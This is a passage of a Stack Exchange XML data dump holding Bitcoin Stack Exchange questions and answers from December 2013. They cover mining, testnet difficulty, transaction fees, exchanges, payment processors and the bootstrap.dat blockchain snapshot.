  <row Id="18535" PostTypeId="2" ParentId="11790" CreationDate="2013-12-11T18:12:12.197" Score="0" Body="&lt;p&gt;Maybe not exactly what you want, but you can get notifications from&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.bitcoinreminder.com&quot; rel=&quot;nofollow&quot;&gt;www.bitcoinreminder.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;depending on price changes or specific limits&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2013-12-11T18:12:12.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18538" PostTypeId="2" ParentId="18533" CreationDate="2013-12-11T19:16:43.370" Score="3" Body="&lt;p&gt;There is not. You will not find a definitive list of allowable documents, endorsed by a government, regulatory body, trade group etc. You may find lists of generally accepted documents, however there is no guarantee that their acceptance is either uniform or universal. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Documents typically considered acceptable for the purposes of establishing residency at a given dress i.e. rental agreements, mortgage documentation and utility bills (such as gas, electric, water) are generally utilized (and accepted) by the financial institution as they tie the individual directly to the address thereby satisfying elements of AML/CFT, specifically the Know Your Customer and Customer Identification Programs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your only option is to await a response from the specific institution (in this case exchange) and inquire as to what documents they will accept in lieu of the aforementioned, if you are unable to provide them.&lt;/p&gt;&#xA;" OwnerUserId="10638" LastEditorUserId="10638" LastEditDate="2013-12-11T19:22:02.653" LastActivityDate="2013-12-11T19:22:02.653" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18539" PostTypeId="1" CreationDate="2013-12-11T19:41:52.140" Score="-4" ViewCount="89" Body="&lt;p&gt;Lets say mining block is generated in 18:00, next block is generated after 10 minutes in 18:10 by user GENERATOR_18_10&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand, all transaction fees (for transactions included in 18:10) will come to the user GENERATOR_18_10?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, in other words, user GENERATOR_18_10 can point all fees in his wallet?&lt;/p&gt;&#xA;" OwnerUserId="10635" LastEditorUserId="5406" LastEditDate="2016-04-25T21:21:52.283" LastActivityDate="2016-04-25T21:21:52.283" Title="Question about mining algo" Tags="|transaction-fees|mining-reward|algorithms|" AnswerCount="1" CommentCount="3" ClosedDate="2014-02-03T07:36:25.077" ContentLicense="CC BY-SA 3.0" />
  <row Id="18540" PostTypeId="1" CreationDate="2013-12-11T19:43:56.590" Score="19" ViewCount="36798" Body="&lt;p&gt;I'm looking into creating a Bitcoin / crypto currency trading platform (say, like Tradeking), as I've noticed there are a few sites out there already, except they all have pretty hefty fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, to reduce fees, is it possible to create my own Bitcoin exchange? What is involved in setting one up? I'm pretty sure I'll need to develop an API, which I can do (I am an experienced software developer). I'll also need a business entity and a business bank account to use for transactions. What else? I see &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/17007/what-is-needed-to-make-a-bitcoin-exchange&quot;&gt;this thread&lt;/a&gt;...is there anything else I should consider?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if I do set up an exchange, can I control of the fee rates? &lt;a href=&quot;https://bitcoin.stackexchange.com/a/10081/10639&quot;&gt;Other sites&lt;/a&gt; have rates averaging around 0.5%...can I set mine to whatever I want (considering my costs), or am I limited in some way by some third-party entity?&lt;/p&gt;&#xA;" OwnerUserId="10639" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2017-04-23T21:51:12.127" Title="What would it take to create my own Bitcoin exchange?" Tags="|exchanges|trading|" AnswerCount="8" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="18541" PostTypeId="2" ParentId="18519" CreationDate="2013-12-11T19:46:48.223" Score="4" Body="&lt;p&gt;I'm not sure if there is a software wallet to do this, but if you want it for cold storage, you can definitely create addresses for almost all the cryptocurrencies from a raw 256 bit private key. This allows you to just securely store the 256 bit key rather than the individual wallet files for multiple cryptocoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do this by:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Creating a 256 private key of 64 hex (0-9,A-F) digits&lt;/li&gt;&#xA;&lt;li&gt;Open brainwallet.org and go to the &quot;Generator&quot; tab and select &quot;secret exponent&quot;&lt;/li&gt;&#xA;&lt;li&gt;Paste your 64 hex digits into the &quot;Secret Exponent&quot; text box.&lt;/li&gt;&#xA;&lt;li&gt;Select the coin type in the top right corner and the coins private key and address will be shown in the &quot;Private Key&quot; and &quot;Address&quot; areas.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;As an example, the 256 bit private key A5F308EB5553464AD377C68D16CDB85F3C8D63CABAC8017BE6D9D9A43F7F0CDF is the following addresses:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;BTC (Private): 5K5NXzAa7PE5irZFc9Va6eAN4zPfd2E9MBcrt1ea8j225ix6wpC&lt;/li&gt;&#xA;&lt;li&gt;BTC (Address): 18S5Czkk3pp8vSwVsS8fD28HLxea6JcVc&lt;/li&gt;&#xA;&lt;li&gt;LTC (Private): 6vP717i71ogxCET77yHXt2wY2Tx8ppgB7s22bCfbrBLdmZvbD5f&lt;/li&gt;&#xA;&lt;li&gt;LTC (Address): LKMPLRJapi4sPj96g1RRwE5tVZKviuvMxS&lt;/li&gt;&#xA;&lt;li&gt;NMC (Private): 74A5i3WERWPrjWmvkHmXhKLdgvR1Re3gGRJTZoRBpoNBk1JL8RM&lt;/li&gt;&#xA;&lt;li&gt;NMC (Address): MvhoGrVjfRvNfThSmgkhsjB31aMhYnd5qs&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note that this is somewhat insecure as if someone knows the coin private key for one of the addresses, they can directly convert the coin private key back to the raw private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if you import a private key into a wallet program (eg: bitcoind), be aware that they may send change to new addresses.&lt;/p&gt;&#xA;" OwnerUserId="9505" LastActivityDate="2013-12-11T19:46:48.223" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18542" PostTypeId="2" ParentId="13520" CreationDate="2013-12-11T20:37:18.777" Score="2" Body="&lt;p&gt;Trying to find this answer myself.  Noticed that the stratum_proxy is written in python and thus has the answer we are looking for.&#xA;&lt;a href=&quot;https://github.com/slush0/stratum-mining-proxy/blob/master/mining_libs/midstate.py&quot; rel=&quot;nofollow&quot;&gt;https://github.com/slush0/stratum-mining-proxy/blob/master/mining_libs/midstate.py&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10643" LastActivityDate="2013-12-11T20:37:18.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18543" PostTypeId="1" AcceptedAnswerId="18545" CreationDate="2013-12-11T20:39:39.733" Score="3" ViewCount="10965" Body="&lt;p&gt;I've started to mine some Primecoin on a couple of spare VPS's, and it's turning out to be profitable. I'm also mining a bit on my laptop when I'm not using it (e.g. during lunch break).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will mining wear down (or have any other adverse effects on) the CPU over time? Does the number of cores used during mining (I'm using 2/4) affect this at all?&lt;/p&gt;&#xA;" OwnerUserId="10156" LastEditorUserId="5406" LastEditDate="2016-04-17T20:15:05.403" LastActivityDate="2016-04-17T20:15:05.403" Title="Is mining bad for the CPU?" Tags="|mining-hardware|cpu|primecoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18544" PostTypeId="1" AcceptedAnswerId="18557" CreationDate="2013-12-11T20:47:02.527" Score="3" ViewCount="935" Body="&lt;p&gt;I am running &lt;code&gt;bitcoind&lt;/code&gt;, and I have &lt;code&gt;cgminer&lt;/code&gt; solo-mining on it. I am mining on &lt;code&gt;Testnet3&lt;/code&gt;. My hash rate (this is an OLD computer) is &lt;code&gt;~800Khash/s&lt;/code&gt;, so according to one online calculator I should be generating a block every 1.5hrs at difficulty 1. The difficulty has been one for quite some time now, and I still haven't gotten any blocks, though I have been mining for much more than 1.5hrs. More like 7 or 8 total I think.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is wrong?&lt;/p&gt;&#xA;" OwnerUserId="3016" LastEditorUserId="5406" LastEditDate="2016-04-25T15:45:30.337" LastActivityDate="2016-04-25T15:45:30.337" Title="Not generating any blocks on testnet" Tags="|bitcoind|hashpower|testnet|solo-mining|cpu-mining|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18545" PostTypeId="2" ParentId="18543" CreationDate="2013-12-11T21:00:13.230" Score="2" Body="&lt;p&gt;Its mostly the heat...if it is running quite hot, which most laptops tend to do, it IS damaging the CPU. Try a good cooling mat if you really want to do it.&#xA;Also, using 2 of 4 cores WILL run cooler than using all 4. But I guess I could repeat everyone else' advice: &quot;Mining is no longer profitable on the CPU, don't do it.&quot; (Even though I do a little bit.)&lt;/p&gt;&#xA;" OwnerUserId="3016" LastActivityDate="2013-12-11T21:00:13.230" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18546" PostTypeId="2" ParentId="18508" CreationDate="2013-12-11T21:36:22.287" Score="1" Body="&lt;p&gt;Initially, &quot;dust&quot; transactions were made nonstandard in commit &lt;a href=&quot;https://github.com/bitcoin/bitcoin/commit/8de9bb53af32f7f6b09c06f831f2c0a7b4e95303&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;8de9bb53&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Define dust transaction outputs, and make them non-standard&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2343" LastActivityDate="2013-12-11T21:36:22.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18547" PostTypeId="1" CreationDate="2013-12-11T22:01:21.967" Score="1" ViewCount="225" Body="&lt;p&gt;Does anybody know a good exchange site for various cryptocurrencies like LTC, NMC, IXC, DVC, BTC etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One I found was Vircurex but it is very cumbersome to use.&lt;/p&gt;&#xA;" OwnerUserId="10646" LastActivityDate="2018-05-29T08:49:53.063" Title="Exchange multiple Cryptocurrencies" Tags="|exchanges|currencies|" AnswerCount="1" CommentCount="0" ClosedDate="2018-05-30T23:38:52.280" ContentLicense="CC BY-SA 3.0" />
  <row Id="18548" PostTypeId="2" ParentId="18026" CreationDate="2013-12-11T22:01:38.363" Score="0" Body="&lt;p&gt;This is windows telling you it doesn't know where the &lt;code&gt;cudaminer&lt;/code&gt; program is. One fix would be to move your batch file into the folder where cudaminer is located. For instance, mine is &lt;code&gt;C:\Users\....\Desktop\cudaminer-2013-12-10\x64&lt;/code&gt;&#xA;(would be ...&lt;code&gt;\x86&lt;/code&gt; if you are on 32 bit windows)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, I see you are trying to use Cgminer. Fix is the same, just figure out where cgminer is located and put the batch file there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternately, you could add the cgminer directory to Windows PATH statement, but it is probably already quite long.&lt;/p&gt;&#xA;" OwnerUserId="10647" LastEditorUserId="1891" LastEditDate="2013-12-12T11:52:50.593" LastActivityDate="2013-12-12T11:52:50.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18549" PostTypeId="2" ParentId="18547" CreationDate="2013-12-11T22:08:20.497" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://www.cryptsy.com/&quot; rel=&quot;nofollow&quot;&gt;Cryptsy&lt;/a&gt; has a lot of currencies to trade. Right now you can only trade them one versus each other (BTC to LTC, NMC to BTC) but they are planning to start trading for USD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might find the interface cumbersome as well, but in my opinion it is still better then vircurex's.&lt;/p&gt;&#xA;" OwnerUserId="1891" LastActivityDate="2013-12-11T22:08:20.497" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18550" PostTypeId="1" CreationDate="2013-12-11T22:36:56.377" Score="2" ViewCount="204" Body="&lt;p&gt;What is the rationale for existence of payment companies like BitPay? If I want to start accepting Bitcoin at my store I can simply set up my own Bitcoin wallet for free and then a simple script which counts Bitcoin price after checkout depending on current exchange rate. So what is the extra value these guys bring to the system?&lt;/p&gt;&#xA;" OwnerUserId="3120" LastEditorUserId="1307" LastEditDate="2013-12-11T23:09:31.427" LastActivityDate="2013-12-12T00:06:18.497" Title="How do payment processing companies work?" Tags="|commerce|ecommerce|payment-processors|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18551" PostTypeId="2" ParentId="18550" CreationDate="2013-12-11T23:09:10.910" Score="2" Body="&lt;p&gt;Currently still, most companies want to receive in fiat currency. Most of these merchant payment companies function as a man-in-the-middle, so that you don't have to be concerned about anything Bitcoin-related.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They provide functionality with which your customers can purchase goods using Bitcoin and you will receive all payments in your fiat currency of choice (as long as it's supported by the merchant service).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like with PayPal, when a users wants to pay with Bitcoin in your site, they will get forwarded to a page from, f.e., BitPay. The user will pay in Bitcoins to BitPay and be forwarded back to your site while you will be notified that the users did indeed pay. Meanwhile, BitPay adds the payment amount to your merchant account, &lt;strong&gt;in fiat currency&lt;/strong&gt;, using the exchange rate of that moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given the high volatility of the Bitcoin exchange rate, this is the best solution for most merchants for now. It's easy and safe.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-12-11T23:09:10.910" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18552" PostTypeId="2" ParentId="18544" CreationDate="2013-12-11T23:14:42.213" Score="1" Body="&lt;p&gt;First of all, this might not be impossible. The time to mine a block can vary greatly depending on your luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But 7-8 hrs is quite a long time. You should make sure your cgminer is correctly connected to your bitcoind instance. Also, I think bitcoind should be fully synchronized and being up-to-date for mainnet does not mean testnet is up-to-date as well.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="1307" LastEditDate="2013-12-11T23:48:43.390" LastActivityDate="2013-12-11T23:48:43.390" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18553" PostTypeId="2" ParentId="18517" CreationDate="2013-12-11T23:21:29.393" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://www.bitaddress.org/&quot; rel=&quot;nofollow&quot;&gt;BitAddress.org&lt;/a&gt; creates usable paper wallet PDFs. It does not have instructions however.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But a quick google brought me to &lt;strong&gt;&lt;a href=&quot;https://blockchain.info/wallet/paper-tutorial&quot; rel=&quot;nofollow&quot;&gt;this guide&lt;/a&gt; explaining how to use the BitAddress paper wallet&lt;/strong&gt;. It mentions you how you can add the address as watch only to the Blockchain.info mobile app and how you can spend the received funds from the address by scanning the private key QR code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what you could do is get the PDF from BitAddress.org and manually edit it to add the URL to the tutorial.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-12-11T23:21:29.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18554" PostTypeId="1" AcceptedAnswerId="18563" CreationDate="2013-12-11T23:32:56.167" Score="7" ViewCount="1682" Body="&lt;p&gt;As is well known, testnet has a &quot;20-minute rule&quot;: if no block is found within 20 minutes, the mining difficulty drops to 1 until a block is found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From some experimentation, it appears that bitcoind's &lt;code&gt;getdifficulty&lt;/code&gt; function reports the difficulty of the most recent block.  Thus, if the most recent block was mined under the 20-minute rule, &lt;code&gt;getdifficulty&lt;/code&gt; returns 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, how can I find the &quot;real&quot; difficulty level?  That is, the difficulty that would be required of a block submitted less than 20 minutes after the previous one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best approach I have found so far is to follow the blockchain back until I find a block with a difficulty other than 1 (or less than 20 minutes after the block preceding it).  But this will be prone to error if a difficulty adjustment has recently taken place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bitcoind must know the real difficulty at all times; can I query it?&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2017-09-03T23:25:40.970" Title="How can I find the &quot;real&quot; difficulty on testnet?" Tags="|bitcoind|difficulty|testnet|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18555" PostTypeId="2" ParentId="18539" CreationDate="2013-12-11T23:37:23.933" Score="0" Body="&lt;p&gt;The creator of the block will describe how to allocate the block reward, currently 25 bitcoins, of the discovered block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They write this in the coinbase field of the block. Sometimes, the block reward and fees are sent to multiple addresses, like in P2Ppool mining operations.&lt;/p&gt;&#xA;" OwnerUserId="5741" LastActivityDate="2013-12-11T23:37:23.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18556" PostTypeId="2" ParentId="18540" CreationDate="2013-12-11T23:54:10.220" Score="17" Body="&lt;p&gt;You need three components:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;A user account system that allows users to register, maintain a balance, deposit and withdraw BTC and other currencies, and place buy and sell orders. You'll need to integrate this with a payment processor to support currency deposits and withdrawals.&lt;/li&gt;&#xA;&lt;li&gt;A matching engine that looks at the current buy and sell orders and matches orders together and executes the trades.&lt;/li&gt;&#xA;&lt;li&gt;A Bitcoin wallet to actually store each user's BTC balance. You should use a hot/cold wallet system that keeps most of the BTC offline.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Some challenges:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You need to track each user's Bitcoin balance so you'll need a way to keep the Bitcoin wallet in sync with a database like MySQL or MongoDB. A good way to do this is to combine the blocknotify command with the listsinceblock() JSON-RPC call.&lt;/li&gt;&#xA;&lt;li&gt;The biggest challenge is keeping your bank account from getting closed. Many banks are wary of Bitcoin and navigating local, state and federal laws can be tricky.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Best of luck!&lt;/p&gt;&#xA;" OwnerUserId="9540" LastActivityDate="2013-12-11T23:54:10.220" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18557" PostTypeId="2" ParentId="18544" CreationDate="2013-12-12T00:00:14.927" Score="3" Body="&lt;p&gt;The difficulty is not really 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;testnet has a &quot;20-minute rule&quot;: if no block is successfully mined within 20 minutes, the difficulty drops to 1 until a block is mined.  Then it reverts to its previous value.  However, it appears that &lt;code&gt;getdifficulty&lt;/code&gt; returns 1 whenever the most recent block was difficulty 1, even if it was accepted under the 20-minute rule; this doesn't necessarily match the &quot;real&quot; difficulty.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've asked a &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/18554/how-can-i-find-the-real-difficulty-on-testnet&quot;&gt;new question&lt;/a&gt; about how to find the real difficulty.  But by browsing blocks on &lt;a href=&quot;http://blockexplorer.com/testnet&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://blockexplorer.com/testnet&lt;/a&gt;, the most recent block which was less than 20 minutes newer than its predecessor is &lt;a href=&quot;http://blockexplorer.com/testnet/b/153337&quot; rel=&quot;nofollow noreferrer&quot;&gt;153337&lt;/a&gt;, which has a difficulty of 11512.  So most likely the real difficulty right now is 11512, unless it has adjusted very recently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus there are two possible ways for you to mine a block:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Find a block at difficulty 11512.  If your computation was right, this will happen on average once every 2 years with your current machine.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Wait until it has been 20 minutes since the last block, and find a block at difficulty 1 before anyone else does.  Looking at recent timestamps, it appears that difficulty 1 blocks are typically submitted about 20 minutes and 4 seconds after the previous block.  Thus, you have about a 4 second window to find a difficulty 1 block (probably even less due to propagation delays).  Based on your computation, your probability of successfully doing this on any given block is at most about 0.0007, suggesting that you would succeed roughly once every 3 weeks on average (this is probably very optimistic as noted).  Even if you do mine a block within this time, another miner may find a block at roughly the same time; if the next miner to find a block decides to accept his instead of yours, yours will be orphaned and excluded from the chain.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So it is not surprising that you have not successfully generated a block.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2013-12-12T00:00:14.927" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18558" PostTypeId="2" ParentId="18550" CreationDate="2013-12-12T00:06:18.497" Score="2" Body="&lt;p&gt;Further to @StevenRoose's answer, if you price your goods or services in a non-Bitcoin currency (eg USD), then it's not necessarily a simple matter of looking at a single exchange's  best Buy offer to obtain the exchange rate for a transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, let's say the customer wants to purchase a US$1000 item, and the best Buy offer on the MtGox exchange is $980 and the best Sell offer is $1010. If the customer became aware the retailer was using the $980 exchange rate, then they could put a $1000 Buy offer on MtGox to improve the exchange rate they get for the transaction, then (perhaps using an automated script to reduce time delay) make their Bitcoin payment to the retailer and immediately withdraw the Buy offer from MtGox, thus saving themselves $20.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BitPay uses a number of exchanges to &lt;a href=&quot;https://bitpay.com/bitcoin-exchange-rates&quot; rel=&quot;nofollow&quot;&gt;calculate its exchange rate&lt;/a&gt;, and it's possible (I don't know) that they may also apply a safety factor to avoid manipulation, or factor in the cost of withdrawals (for exchanges that charge a fee). &lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2013-12-12T00:06:18.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18559" PostTypeId="2" ParentId="16679" CreationDate="2013-12-12T00:11:33.453" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://bitdango.com/currencypair/ltcbtc&quot; rel=&quot;nofollow&quot;&gt;LTC/BTC&lt;/a&gt; and &lt;a href=&quot;http://bitdango.com/currencypair/btcltc&quot; rel=&quot;nofollow&quot;&gt;BTC/LTC&lt;/a&gt; are two currency pairs to look at here. You'll notice that as BTC/LTC goes down, LTC/BTC goes up. Basically what I've observed is that &quot;perceived value&quot; moves from Fiat to BTC to LTC. Meaning people will run up the price of BTC with USD or CNY and that will make BTC more &quot;valuable&quot;. Then the price of LTC goes up because it now takes more LTC to buy BTC, since it can be sold for more Fiat, etc.&lt;/p&gt;&#xA;" OwnerUserId="6885" LastActivityDate="2013-12-12T00:11:33.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18561" PostTypeId="1" AcceptedAnswerId="18562" CreationDate="2013-12-12T00:39:28.953" Score="11" ViewCount="11431" Body="&lt;p&gt;What is the definition of blockchain height and how is it found/calculated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get the idea it is related to the &lt;a href=&quot;https://bitcoin.stackexchange.com/a/938/10577&quot;&gt;SO answer&lt;/a&gt; by Gary Rowe, but the word &quot;height&quot; is not mentioned. Yet I see references to &quot;blockchain height&quot; in many places.&lt;/p&gt;&#xA;" OwnerUserId="10577" LastEditorUserId="5406" LastEditDate="2018-05-04T17:04:38.357" LastActivityDate="2018-05-04T17:04:38.357" Title="Definition of blockchain height" Tags="|blockchain|terminology|height|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18562" PostTypeId="2" ParentId="18561" CreationDate="2013-12-12T01:01:12.390" Score="11" Body="&lt;p&gt;The height of a block is the number of blocks in the chain between it and the genesis block.  (So the genesis block has height 0.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The height of the block chain is usually taken to be the height of the highest block, in the chain with greatest total difficulty; i.e. the length of the chain minus one.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2013-12-12T01:01:12.390" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18563" PostTypeId="2" ParentId="18554" CreationDate="2013-12-12T01:20:06.047" Score="4" Body="&lt;p&gt;You can use the &lt;code&gt;getblocktemplate&lt;/code&gt; RPC command and look at the &lt;code&gt;target&lt;/code&gt; field.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="5757" LastEditDate="2017-09-03T23:25:40.970" LastActivityDate="2017-09-03T23:25:40.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18564" PostTypeId="1" CreationDate="2013-12-12T02:13:03.290" Score="1" ViewCount="138" Body="&lt;p&gt;if I set a transaction fee from multibit for example, is it a fee I'm paying or is it a fee that the other party is paying; and to whom does that fee go to?&lt;/p&gt;&#xA;" OwnerUserId="6838" LastActivityDate="2013-12-12T08:44:33.330" Title="what are &quot;transaction fees&quot; used for?" Tags="|transaction-fees|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18565" PostTypeId="2" ParentId="18564" CreationDate="2013-12-12T02:17:08.123" Score="3" Body="&lt;p&gt;The fee goes to the miners and is deducted from your wallet.  Including a fee in your transaction improves the chance that your transaction will quickly be included in a block.&lt;/p&gt;&#xA;" OwnerUserId="9301" LastActivityDate="2013-12-12T02:17:08.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18566" PostTypeId="5" CreationDate="2013-12-12T02:52:46.343" Score="0" Body="&lt;p&gt;In 2012, the Bitcoin blockchain was growing to 10+ gigabytes and downloading the entire chain from the p2p network was taking an excessive amount of time (multiple days) due to inefficiencies in the way nodes shared block data. In order make it easier to setup a full node, a snapshot of the blockchain data &lt;a href=&quot;https://bitcointalk.org/index.php?topic=145386.0&quot; rel=&quot;nofollow&quot;&gt;was distributed&lt;/a&gt; by Jeff Garzik as a file named &lt;code&gt;bootstrap.dat&lt;/code&gt; using BitTorrent. Starting with version 0.8 &lt;code&gt;bitcoind&lt;/code&gt; will load and validate initial blockchain data from any file named &lt;code&gt;bootstrap.dat&lt;/code&gt; found in its &lt;a href=&quot;https://en.bitcoin.it/wiki/Data_directory#Default_Location&quot; rel=&quot;nofollow&quot;&gt;data directory&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today, this is actually slower than syncing normally. In &lt;a href=&quot;https://bitcoin.org/en/download&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Core&lt;/a&gt; version 0.10.0+ the p2p sync process was &lt;a href=&quot;https://bitcoin.org/en/release/v0.10.0#faster-synchronization&quot; rel=&quot;nofollow&quot;&gt;dramatically improved&lt;/a&gt; making it &lt;strong&gt;faster&lt;/strong&gt; than using the &lt;code&gt;bootstrap.dat&lt;/code&gt; file. This bootstrapping process is therefore obsolete and discouraged.&lt;/p&gt;&#xA;" OwnerUserId="4264" LastEditorUserId="2306" LastEditDate="2015-06-29T02:06:09.193" LastActivityDate="2015-06-29T02:06:09.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18567" PostTypeId="4" CreationDate="2013-12-12T02:52:46.343" Score="0" Body="bootstrap.dat is a snapshot of the blockchain which can be used to bootstrap a new Bitcoin install.  " OwnerUserId="4264" LastEditorUserId="4264" LastEditDate="2013-12-17T12:23:29.153" LastActivityDate="2013-12-17T12:23:29.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18568" PostTypeId="1" AcceptedAnswerId="18594" CreationDate="2013-12-12T02:54:40.387" Score="2" ViewCount="3899" Body="&lt;p&gt;I think it's just a renamed &lt;code&gt;blk0001.dat&lt;/code&gt; file, but I can't find any references as to what it actually is other than a &quot;binary blockchain&quot; ....&lt;/p&gt;&#xA;" OwnerUserId="4264" LastEditorUserId="5406" LastEditDate="2015-05-12T08:11:20.860" LastActivityDate="2015-05-12T08:11:20.860" Title="How do you generate a bootstrap.dat file?" Tags="|bootstrap.dat|" AnswerCount="1" CommentCount="2" ClosedDate="2014-03-16T18:32:02.203" ContentLicense="CC BY-SA 3.0" />
  <row Id="18569" PostTypeId="1" AcceptedAnswerId="18584" CreationDate="2013-12-12T03:00:03.993" Score="1" ViewCount="504" Body="&lt;p&gt;If I create a bootstrap.dat file for Namecoin from an existing install will it use it?&lt;/p&gt;&#xA;" OwnerUserId="4264" LastActivityDate="2013-12-12T10:08:58.070" Title="Does Namecoin support the bootstrap.dat file?" Tags="|namecoin|bootstrap.dat|" AnswerCount="1" CommentCount="0" ClosedDate="2020-04-29T03:19:15.100" ContentLicense="CC BY-SA 3.0" />
